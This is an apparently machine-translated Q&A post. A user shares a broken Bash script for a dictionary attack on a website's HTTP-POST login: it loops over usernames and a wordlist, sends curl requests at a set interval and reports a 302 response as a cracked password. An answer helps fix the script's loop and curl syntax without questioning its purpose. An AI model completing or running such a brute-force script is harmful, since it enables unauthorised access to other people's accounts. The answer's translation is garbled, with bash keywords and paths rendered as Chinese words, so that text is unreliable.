我对 Bash 还不太熟悉,但这是我过去几天一直在编写的一个脚本。它旨在对网站的 HTTP-POST 登录进行字典攻击,通过读取时间模块并按照我设置的秒数向该网站发送登录请求。但是,我遇到了问题。
echo -e "Initiating password cracking session...\n"
echo -e "Seconds per password attempt: \c"
read TIME
if [ "$TIME" -lt "2" ];
then
echo -e "Servers may block out attempts when initiated too frequently, cracking session will begin anyways.\n"
fi
if [ "$TIME" -gt "2" ];
then
echo -e "Cracking session will take too long to initiate. Session will continue anyways.\n"
fi
function control_c {
tput setaf 2; echo -en " Password cracking session deactivated.\n"
exit $?
}
trap control_c SIGINT
for (( ; ; ))
do
url="https://examplewebsite.com/login"
echo -e "Username: \c"
read user
echo -e "Wordlist: \c"
read pass
for user do
for pass in pass do
http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)
if [[ $http_code -eq 302 ]]; then
echo "Success: User: '$user' Pass: '$pass'"
break 2
fi
done
sleep $TIME
done
done
顺便说一句,我对 cURL 一无所知,上述与 cURL 相关的语法完全是我在其他网站上读到的。我收到错误消息:语法错误靠近意外令牌http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)' ./jmc.sh: line 36:
http_code=$(curl -L -data user="$user" -data password="$pass" "$url" -w '%{http_code}' -o /root/Desktop -s)'
我做错了什么?再说一遍,我对 Bash 和 cURL 都很陌生,所以如果我的脚本似乎有点不对劲,请原谅我。
答案1
简而言之,我故意不提及(很多)你“应该”或“不应该”的事情,只关注语法错误。
- 对于用户来说:为了在此上下文中必须采用以下格式为了 环形_多变的 在 列表;做(虽然我不明白你希望在这里用循环做什么)
- for pass in pass do: 和上一行一样,没有分号(或者,如果你不喜欢分号,你可以写做在下一行(但我也看不出这里循环的原因)
另外我必须要提的一点是:-o /root/桌面意思是“将输出放入名为/根/桌面“。我猜你已经有一个同名的目录,所以你必须给文件赋予不同的名称。